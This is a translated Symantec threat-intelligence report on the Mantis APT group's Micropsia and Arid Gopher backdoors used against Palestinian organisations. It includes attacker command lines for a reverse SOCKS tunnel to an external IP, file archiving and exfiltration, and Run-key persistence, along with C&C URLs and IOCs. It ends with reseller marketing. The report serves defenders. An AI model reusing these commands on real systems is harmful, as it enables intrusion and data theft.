Mantis：針對巴勒斯坦目標的新工具

2023 年 4 月 4 日發布｜威脅情報

威脅獵手團隊
賽門鐵克

間諜組織花費時間和精力來避免被偵測，並保持在受感染網路上持續存在

被認為在巴勒斯坦領土境內活動的網路間諜集團「Mantis」（又名「Arid Viper」、「Desert Falcon」、「APT-C-23」），持續進行攻擊，使用更新的工具集並竭盡所能維持對目標網路的持續存在。

雖然該組織以中東地區的組織目標聞名，但 Broadcom 的軟體部門 Symantec 最近揭露的活動則是集中在巴勒斯坦領土內組織，惡意活動始於 2022 年 9 月，並持續至少到 2023 年 2 月。這樣的攻擊對於 Mantis 並不陌生，Symantec 先前也曾在 2017 年揭露過其針對位於巴勒斯坦領土內個人的攻擊行動。

背景

Mantis 自至少 2014 年以來一直活躍，某些第三方報告顯示，該組織可能早在 2011 年就開始活動。他們以以色列和其他中東國家的組織為攻擊目標，涉及政府、軍事、金融、媒體、教育、能源和智庫等多個行業。該組織以使用魚叉式網路釣魚電子郵件和假社交媒體帳戶引誘目標安裝惡意軟體而聞名。

Mantis 被廣泛認為與巴勒斯坦領土有關聯。雖然其他供應商將該組織與哈馬斯聯結起來，但賽門鐵克不能明確把它歸屬於任何巴勒斯坦組織。

在最近攻擊中，該組織使用更新版本的自定義 Micropsia 和 Arid Gopher 後門，以便入侵目標，再進行大量的憑證盜取和竊取資料。

攻擊鏈

本次攻擊的初始感染方式尚不清楚。在一個被攻擊的組織中，攻擊者部署同一工具集的三個不同版本（即同一工具的不同變種）在三台電腦上，這樣劃分攻擊目的可能是為了防止被發現。如果其中一個工具集被發現，攻擊者仍然可以在目標網路上保持持續存在。

以下是如何使用這三個工具集之一的描述：

第一個惡意活動的證據出現於 2022 年 12 月 18 日。執行三組混淆 PowerShell 指令以載入一個 Base64 編碼的字串，該字串啟動一個內嵌 shellcode。該 shellcode 是一個 32 位元的 stager，使用基本 TCP 協定從指令與控制 (C&C) 伺服器：104.194.222[.]50 的 4444 通訊埠下載另一個部份。

攻擊者於 12 月 19 日再次攻擊，首先轉存憑證，然後使用 Certutil 和 BITSAdmin 下載 Micropsia 後門和 Putty，一個公開可用的 SSH 用戶端。

隨後，Micropsia 執行並與 C&C 伺服器建立聯繫。同一天，Micropsia 在同一組織的其他三台電腦上也執行了。每次執行時，它都在以其檔名為資料夾名稱的目錄中執行：

- csidl_common_appdatasystempropertiesinternationaltimesystempropertiesinternationaltime.exe
- csidl_common_appdatawindowsnetworkmanagerwindowsnetworkmanager.exe
- csidl_common_appdatawindowspswindowsps.exe

在一台電腦上，使用 Micropsia 設置一個反向的 socks 通道至一個外部 IP 地址：

CSIDL_COMMON_APPDATAwindowsservicemanageavwindowsservicemanageav.exe -connect 104.194.222[.]50:443 [REDACTED]

在 12 月 20 日，Micropsia 被用於在受感染的一台電腦上執行一個名為 windowspackages.exe 未知的執行檔。

第二天，即 12 月 21 日，RAR 被執行以在另一台受感染的電腦上壓縮檔案。

在 2023 年 12 月 22 日至 1 月 2 日期間，Micropsia 被用來在三台受感染的電腦上執行 Arid Gopher 後門。Arid Gopher 接著使用一個名為 SetRegRunKey.exe 的工具來達到持續性，它會將 Arid Gopher 新增到註冊表中，在重新啟動時仍會執行。此外，攻擊者還執行一個名為 localsecuritypolicy.exe 的未知檔案，該檔案在其他地方也被用作 Arid Gopher 後門的檔案名稱。

12 月 28 日，Micropsia 被用來在另外三台受感染的電腦上執行 windowspackages.exe。

12 月 31 日，Arid Gopher 在兩台受感染的電腦上執行兩個名為 networkswitcherdatamodell.exe 和 networkuefidiagsbootserver.exe 的未知檔案。

1 月 2 日，攻擊者淘汰了他們使用的 Arid Gopher 版本並引入一個新變種。這是因為第一個版本被發現還是標準操作程序尚不清楚。

1 月 4 日，Micropsia 被用來從一台電腦的 csidl_common_appdatahostupbrokerhostupbroker.exe 資料夾裡執行了兩個未知的同名檔案 hostupbroker.exe。隨後立即出現一個 RAR 檔案的外洩：

CSIDL_COMMON_APPDATA\windowsupserv\windowsupserv.exe -f CSIDL_COMMON_APPDATA\windowspackages\01-04-2023-15-13-39_getf.rar

1 月 9 日，Arid Gopher 被用來在一台電腦上執行兩個未知檔案：

- csidl_common_appdatateamviewrremoteserviceteamviewrremoteservice.exe
- csidl_common_appdataembededmodeserviceembededmodeservice.exe

1 月 12 日之後，最近一次的惡意活動是使用 Arid Gopher 在每十個小時執行一次名為 localsecuritypolicy.exe 的未知檔案。

Micropsia

這些攻擊中使用的 Micropsia 後門的變種，看起來是其他供應商所見過但更新版本的後門。在此次攻擊中，Micropsia 以多個不同的檔案名稱和路徑部署。

- csidl_common_appdatamicrosoftdotnet35microsoftdotnet35.exe
- csidl_common_appdatamicrosoftservicesusermanualsystempropertiesinternationaltime.exe
- csidl_common_appdatasystempropertiesinternationaltimesystempropertiesinternationaltime.exe
- csidl_common_appdatawindowsnetworkmanagerwindowsnetworkmanager.exe
- csidl_common_appdatawindowspswindowsps.exe

Micropsia 是透過 WMI 執行，其主要目的似乎是為攻擊者執行次要的攻擊輔助程式。這些次要輔助程式包括：

- Arid Gopher（檔案名：networkvirtualizationstartservice.exe、networkvirtualizationfiaservice.exe、networkvirtualizationseoservice.exe）
- 反向 SOCKs 通道工具（又名 Revsocks）（檔案名稱：windowsservicemanageav.exe）
- 資料外洩工具（檔案名稱：windowsupserv.exe）
- 兩個未知的檔案，名稱都是 hostupbroker.exe。
- 未知檔案 windowspackages.exe。

此外，Micropsia 還擁有自己的功能，包括螢幕截圖、鍵盤記錄，以及使用 WinRAR 將特定檔案類型進行壓縮打包，以便準備進行資料外洩：

"%PROGRAMDATA%\Software Distributions\WinRAR\Rar.exe" a -r -ep1 -v2500k -hp71012f4c6bdeeb73ae2e2196aa00bf59_d01247a1eaf1c24ffbc851e883e67f9b -ta2023-01-14 "%PROGRAMDATA%\Software Distributions\Bdl\LMth__C_2023-02-13 17-14-41" "%USERPROFILE%*.xls" "%USERPROFILE%*.xlsx" "%USERPROFILE%*.doc" "%USERPROFILE%*.docx" "%USERPROFILE%*.csv" "%USERPROFILE%*.pdf" "%USERPROFILE%*.ppt" "%USERPROFILE%*.pptx" "%USERPROFILE%*.odt" "%USERPROFILE%*.mdb" "%USERPROFILE%*.accdb" "%USERPROFILE%*.accde" "%USERPROFILE%*.txt" "%USERPROFILE%*.rtf" "%USERPROFILE%*.vcf"

Arid Gopher

與 Micropsia 不同，Arid Gopher 是使用 Go 語言編寫。在此攻擊中使用的 Arid Gopher 版本包含以下內嵌元件：

- 7za.exe -- 合法的 7-Zip 執行檔的副本
- AttestationWmiProvider.exe -- 設置「run」註冊表值的工具

- ServiceHubIdentityHost.exe -- 來自 Optimum X 的合法Shortcut.exe 執行檔的副本
- Setup.env -- 配置檔案

Arid Gopher 也被用來啟動以下未知檔案：

networkswitcherdatamodell.exe、localsecuritypolicy.exe 和 networkuefidiagsbootserver.exe，此外還被用來下載和執行使用 PyArmor 模糊化的檔案。

當與 C&C 伺服器通訊時，Arid Gopher 在一個路徑上註冊一個設備，然後連接到另一個路徑，可能是為了接收指令：

- 連接到：

  http://jumpstartmail[.]com/IURTIER3BNV4ER/DWL1RucGSj/4wwA7S8jQv (IP: 79.133.51[.]134) - 可能用於註冊設備
- 接著連接到：

  http://jumpstartmail[.]com/IURTIER3BNV4ER/AJLUK9BI48/0L6W3CSBMC - 可能用於接收指令
- 連接到：

  http://salimafia[.]net/IURTIER3BNV4ER/DWL1RucGSj/4wwA7S8jQv (IP: 146.19.233[.]32) - 可能用於註冊設備

  接著連接到：

  http://salimafia[.]net/IURTIER3BNV4ER/AJLUK9BI48/0L6W3CSBMC - 可能用於接收指令

Arid Gopher 似乎被攻擊者定期更新和重新編寫，很可能是為了逃避檢測。該惡意軟體的一個變種與之前看到的版本截然不同，大部分獨特的代碼都得到更新，以至於與之前版本相比，沒有一個子程序包含相同的獨特代碼。Mantis 似乎在變種之間積極變異邏輯，如果手動完成，這是一個耗時的操作。

指令	說明
"c"	可能與 main.exC("cmd") 有關
"d"	可能與 main.down2 有關
"s"	可能與 main.OnDSH 有關
"ci"	可能與 main.deviceProperties 有關
"ps"	可能與 main.exC("powershell") 有關
"ra"	可能與 main.RunAWithoutW 有關
"sf"	可能與 main.updateSettings 有關
"sl"	可能與 main.searchForLogs 有關
"ua"	可能與 main.updateApp 有關

指令	說明
"ut"	可能與 main.updateT 有關
"pwnr"	可能與 main.exCWithoutW("powershell") 有關
"rapp"	可能與 main.restartApp 有關
"gelog"	可能與 main.upAppLogs 有關
"ufbtt"	可能與 main.collectFi 有關
"ufofd"	可能與 main.collectFiOrFol 有關
"bwp"	可能與 main.browDat 有關
"cbh"	可能與 main.delBD 有關
"cwr"	可能與 main.exCWithoutW("cmd") 有關
"gaf"	可能與 main.collectFi 有關
"ntf"	可能與 main.collectNet 有關
"smr"	可能與 main.updateSettings 有關

表 1. Arid Gopher 後門最新變種支持的命令

一個用來分析的Arid Gopher變種使用的嵌入式setup.env檔案，以檢索設定資料，其中包含以下內容：

DIR=WindowsPerceptionService
ENDPOINT=http://jumpstartmail[.]com/IURTIER3BNV4ER
LOGS=logs.txt
DID=code.txt
VER=6.1
EN=2
ST_METHOD=r
ST_MACHINE=false
ST_FLAGS=x
COMPRESSOR=7za.exe
DDIR=ResourcesFiles
BW_TOO_ID=7463b9da-7606-11ed-a1eb-0242ac120002
SERVER_TOKEN=PDqMKZ9112XDmDELOrKB
STAPP=AttestationWmiProvider.exe
SHORT_APP=ServiceHubIdentityHost.exe

setup.env 設定檔提到另一個嵌入在 Arid Gopher 中的檔案 AttestationWmiProvider.exe。這個檔案是一個 32 位元可執行檔，用作輔助工具，確保另一個可執行檔能在系統重新啟動後被執行。當它執行時，會檢查以下命令列參數：

"key" with string parameter [RUN_VALUE_NAME]

"value" with string parameter [RUN_PATHNAME]

接著，它使用 func os/signal.Notify() 建立一個訊號通知。一旦接收到通知，它會設置以下的註冊表值：

HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRun"[RUN_VALUE_NAME]" = "[RUN_PATHNAME]"

到目前為止，我們的調查顯示這個檔案會設定 Arid Gopher 在系統重新啟動後執行：

CSIDL_COMMON_APPDATAattestationwmiproviderattestationwmiprovider.exe -key=NetworkVirtualizationStartService "-value=CSIDL_COMMON_APPDATAnetworkvirtualizationstartservicenetworkvirtualizationstartservice.exe -x"

資料外洩工具

攻擊者還使用了一個自定義工具來外洩從目標組織竊取的資料：一個名為 WindowsUpServ.exe 的 64 位元 PyInstaller 可執行檔。執行時，該工具會檢查以下命令行引數：

"-d" "[FILE_DIRECTORY]"

"-f" "[FILENAME]"

該工具會檢查以下命令列參數：每個 "-f" "[FILENAME]"，工具會上傳 [FILENAME] 檔案的內容；每個 "-d" "[FILE_DIRECTORY]"，工具會獲取儲存在 [FILE_DIRECTORY] 目錄中的檔案列表，並上傳每個檔案的內容。

當上傳每個檔案時，該工具將使用以下參數發送 HTTP POST 請求到 C&C 伺服器：

"kjdfnqweb": [THE_FILE_CONTENT]

"qyiwekq": [HOSTNAME_OF_THE_AFFECTED_COMPUTER]

當遠端伺服器回覆狀態碼 200 時，惡意軟體會從本地磁碟刪除上傳的檔案。惡意軟體還可能會在以下檔案中記錄其某些操作：

"C:ProgramDataWindowsUpServsuccess.txt"

"C:ProgramDataWindowsUpServerr.txt"

堅決的對手

Mantis 似乎是一個有決心的對手，願意花時間和精力來最大化成功的機會，這一點可以從廣泛的惡意軟體改寫和將對單個被攻擊組織分隔成多個獨立攻擊模式中看出，以減少整個操作被檢測的機會。

防護方案／緩解措施

有關最新的防護更新，請訪問賽門鐵克原廠最新的防護公告 (Protection Bulletins)。

入侵指標 (IOCs)

如果 IOC 是惡意且檔案可提供給我們，Symantec Endpoint 產品將檢測並攔截該檔案。

SHA256 雜湊值	檔名	說明
0fb4d09a29b9ca50bc98cb1f0d23bfc21cb1ab602050ce786c86bd2bb6050311	networkvirtualizationservice.exe	Arid Gopher
3d649b84df687da1429c2214d6f271cc9c026eb4a248254b9bfd438f4973e529	networkvirtualizationpicservice.exe	Arid Gopher
82f734f2b1ccc44a93b8f787f5c9b4eca09efd9e8dcd90c80ab355a496208fe4	networkvirtualizationfiaservice.exe	Arid Gopher
85b083b431c6dab2dd4d6484fe0749ab4acba50842591292fdb40e14ce19d097	networkvirtualizationinithservice.exe	Arid Gopher
cb765467dd9948aa0bfff18214ddec9e993a141a5fdd8750b451fd5b37b16341	networkvirtualizationfiaservice.exe	Arid Gopher
f2168eca27fbee69f0c683d07c2c5051c8f3214f8841c05d48897a1a9e2b31f8	networkvirtualizationstartservice.exe	Arid Gopher
21708cea44e38d0ef3c608b25933349d54c35e392f7c668c28f3cf253f6f9db8	AttestationWmiProvider.exe	Arid Gopher 持續化元件
58331695280fc94b3e7d31a52c6a567a4508dc7be6bdc200f23f5f1c72a3f724	windowsupserv.exe	洩露工具
5af853164cc444f380a083ed528404495f30d2336ebe0f2d58970449688db39e	windowsupserv.exe	洩露工具
0a6247759679c92e1d2d2907ce374e4d6112a79fe764a6254baff4d14ac55038	Various	Micropsia
1d1a0f39f339d1ddd506a3c5a69a9bc1e411e057fe9115352482a20b63f609aa	N/A	Micropsia
211f04160aa40c11637782973859f44fd623cb5e9f9c83df704cc21c4e18857d	xboxaccessorymanagementservice.exe	Micropsia

SHA256 雜湊值	檔名	說明
d10a2dda29dbf669a32e4198657216698f3e0e3832411e53bd59f067298a9798	systempropertiesinternationaltime.exe	Micropsia
5405ff84473abccc5526310903fcc4f7ad79a03af9f509b6bca61f1db8793ee4	networkvirtualizationseoservice.exe	可能是 Arid Gopher
f38ad4aa79b1b448c4b70e65aecc58d3f3c7eea54feb46bdb5d10fb92d880203	runme.exe	可能是Micropsia
c4b9ad35b92408fa85b92b110fe355b3b996782ceaafce7feca44977c037556b	systempropertiesinternationaltime.exe	可能是Micropsia
f98bc2ccac647b93f7f7654738ce52c13ab477bf0fa981a5bf5b712b97482dfb	windowsservicemanageav.exe	ReverseSocks Tunnel
411086a626151dc511ab799106cfa95b1104f4010fe7aec50b9ca81d6a64d299	N/A	Shellcode
5ea6bdae7b867b994511d9c648090068a6f50cb768f90e62f79cd8745f53874d	N/A	Shellcode
6a0686323df1969e947c6537bb404074360f27b56901fa2bac97ae62c399e061	N/A	Shellcode
11b81288e5ed3541498a4f0fd20424ed1d9bd1e4fae5e6b8988df364e8c02c4e	SystemPropertiesInternationalTime.rar	未知檔案
1b62730d836ba612c3f56fa8c3b0b5a282379869d34e841f4dca411dce465ff6	networkswitcherdatamodell.exe	未知檔案
220eba0feb946272023c384c8609e9242e5692923f85f348b05d0ec354e7ac3c	hostupbroker.exe	未知檔案
4840214a7c4089c18b655bd8a19d38252af21d7dd048591f0af12954232b267f	hostupbroker.exe	未知檔案
4a25ca8c827e6d84079d61bd6eba563136837a0e9774fd73610f60b67dca6c02	windowspackages.exe	未知檔案
624705483de465ff358ffed8939231e402b0f024794cf3ded9c9fc771b7d3689	_pytransform.dll	未知檔案
7ae97402ec6d973f6fb0743b47a24254aaa94978806d968455d919ee979c6bb4	embededmodeservice.exe	未知檔案
8d1c7d1de4cb42aa5dee3c98c3ac637aebfb0d6220d406145e6dc459a4c741b2	localsecuritypolicy.exe	未知檔案
b6a71ca21bb5f400ff3346aa5c42ad2faea4ab3f067a4111fd9085d8472c53e3	embededmodeservice.exe	未知檔案
bb6fd3f9401ef3d0cc5195c7114764c20a6356c63790b0ced2baceb8b0bdac51	localsecuritypolicy.exe	未知檔案

SHA256 雜湊值	檔名	說明
bc9a4df856a8abde9e06c5d65d3bf34a4fba7b9907e32fb1c04d419cca4b4ff9	networkuefidiagsbootserver.exe	未知檔案
d420b123859f5d902cb51cce992083370bbd9deca8fa106322af1547d94ce842	teamviewrremoteservice.exe	未知檔案
jumpstartmail[.]com		Arid Gopher C&C
paydayloansnew[.]com		Arid Gopher C&C
picture-world[.]info		Arid Gopher C&C
rnacgroup[.]com		C&C
salimafia[.]net		Arid Gopher C&C
seomoi[.]net		Arid Gopher C&C
soft-utils[.]com		C&C
chloe-boreman[.]com		Micropsia C&C
criston-cole[.]com		Micropsia C&C
http://5.182.39[.]44/esuzmwmrtajj/cmsnvbyawttf/mkxnhqwdywbu		滲漏工具 C&C

原廠網址：https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/mantis-palestinian-attacks
本文件由保安資訊有限公司專業細心整理後提供。如有遺誤、更新或異動均以上Symantec原廠公告為準，請知悉。2023/4

關於作者

威脅獵手團隊

賽門鐵克

威脅獵手 (Threat Hunter) 團隊是賽門鐵克內部的一群安全專家，其任務是調查有針對性的攻擊，推動賽門鐵克產品的增強保護，並提供分析以幫助客戶應對攻擊。

關於賽門鐵克 (Symantec)

賽門鐵克 (Symantec) 已於 2019/11 併入全球網通晶片巨擘--博通 (BroadCom，美國股市代號 AVGO，全世界網際網路流量有 99.9% 經過博通的網通晶片) 軟體事業部的企業安全部門 (SED)，特別是近年以半導體的嚴謹、系統化以及零錯誤思維來改造核心技術、管理框架以及整合最完整的資安生態體系，讓賽門鐵克的解決方案在穩定性、相容性、有效性以及資安生態系整合擴充性，有著脫胎換骨並超越業界的長足進步。博通 (Broadcom) 是務實的完美主義者，致力於追求卓越、關注細節並且有系統和紀律地投入科技創新與嚴謹工藝，同時也大大降低交易複雜性。Symantec 持續創新的技術能為日新月異的資安問題提供更好的解決方案，近三年 Symantec 很少出現在由公關機制產生的頭版文章中，而且在全球前兩千大企業的市佔率及營收成長均遠遠高於併入博通之前，增長幅度也領先其他競爭對手，是科技創新驅動的解決方案非常穩健可靠深受大型企業信賴的實證，也顯示大型企業顧客對轉型中的新賽門鐵克未來充滿信心。(美籍華人王嘉廉創辦的企業軟體公司，組合國際電腦（CA Technologies）以及雲端運算及「硬體虛擬化」的領導廠商--VMware， 也是博通軟體事業部的成員)。2021 年八月，因應國外發動的針對性攻擊日益嚴重，美國網路安全暨基礎架構安全管理署（CISA）宣布聯合民間科技公司，發展全國性聯合防禦計畫 JCDC(Joint Cyber Defense Collaborative)，而博通賽門鐵克是首輪被徵招的一線廠商，如就地緣政治考量，Symantec 也絕對是最安全的資安廠商。擁有更強大資源與技術為後盾的賽門鐵克已更專注於整合各種最新科技於既有領先業界的端點、郵件、網頁以及身分認證等安全解決方案。

關於保安資訊 www.savetime.com.tw

保安資訊團隊是台灣第一家專注在賽門鐵克解決方案的技術型領導廠商，被業界公認為賽門鐵克解決方案專家。自 1995 年起就全心全力於賽門鐵克資訊安全解決方案的技術支援、銷售、規劃與整合、教育訓練、顧問服務，特別是提供企業 IT 專業人員的知識傳承 (Knowledge Transfer)、協助顧客符合邏輯地解決資安問題本質的效益上，以及基於比原廠更孰悉用戶環境的優勢能提供更快速有效的技術支援回應，深獲許多中大型企業與組織的信賴，長期合作的意願與滿意度極高。保安資訊連絡電話：**0800-381-500**。